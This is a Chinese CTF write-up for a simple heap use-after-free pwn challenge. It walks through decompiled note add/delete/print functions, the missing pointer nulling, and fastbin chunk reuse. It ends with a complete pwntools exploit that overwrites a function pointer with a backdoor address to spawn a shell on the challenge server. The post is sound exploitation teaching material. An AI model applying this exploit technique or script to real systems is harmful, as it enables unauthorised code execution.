获取中...

-

Just a minute...

一道简单的uaf的题目

保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

功能

add函数

1
2
3
4
5
6
notelist[i] = malloc(8u);
*notelist[i] = print_note_content; //保存print_note_content指针
v1 = notelist[i];
v1[1] = malloc(size); //保存指向content块的指针
printf("Content :");
read(0, (void *)notelist[i][1], size);

notelist[]:存储 chunk 的地址。

*notelist[i]:chunk 的第一个内容为 print_note_content 函数地址。

v1[1] = malloc(size):chunk的第二个内容为指向 content chunk 块的指针。

程序申请了一个8字节的内存用来存放print_note_conent和指向content chunk的指针

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_DWORD *del_note()
{
_DWORD *result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[v2];
if ( result )
{
free((void *)notelist[v2][1]);
free(notelist[v2]);
result = (_DWORD *)puts("Success");
}
return result;
}

free 掉 content 的块和 chunk 块。这里指针没有置 0 ,存在 use after free 漏洞

print函数

1
result = (*notelist[v2])(notelist[v2]);

调用chunk 中第一个指针指向的 print_note_content 打印 chunk 的内容

后门函数magic

1
2
3
4
int magic()
{
return system("/bin/sh");
}

思路

1、分别申请两个大小不为8的chunk,chunk0和chunk1,然后依此free掉

2、这样fastbin的链表就是 chunk1 –> chunk0

3、再申请一个chunk2,根据堆的分配规则和fastbin先进后出的原则,原本chunk1的堆块现在分配给chunk2使用,chunk0分配给了chunk2的content

4、覆盖chunk0为magic的地址,这样打印chunk2的内容实际上是调用后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p = remote('node3.buuoj.cn','26813')
elf = ELF('./pwn')
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)

def delete(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))

def print1(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))

magic = 0x8048945

add(48,'aaaa')
add(48,'aaaa')

delete(0)
delete(1)

add(8,p32(magic))
print1(0)

p.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • ez_pz_hackover_2016

    buu的一道pwn 基本信息没有nx保护 1234567ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpret...

    ez_pz_hackover_2016
Please check the parameter of comment in config.yml of hexo-theme-Annie!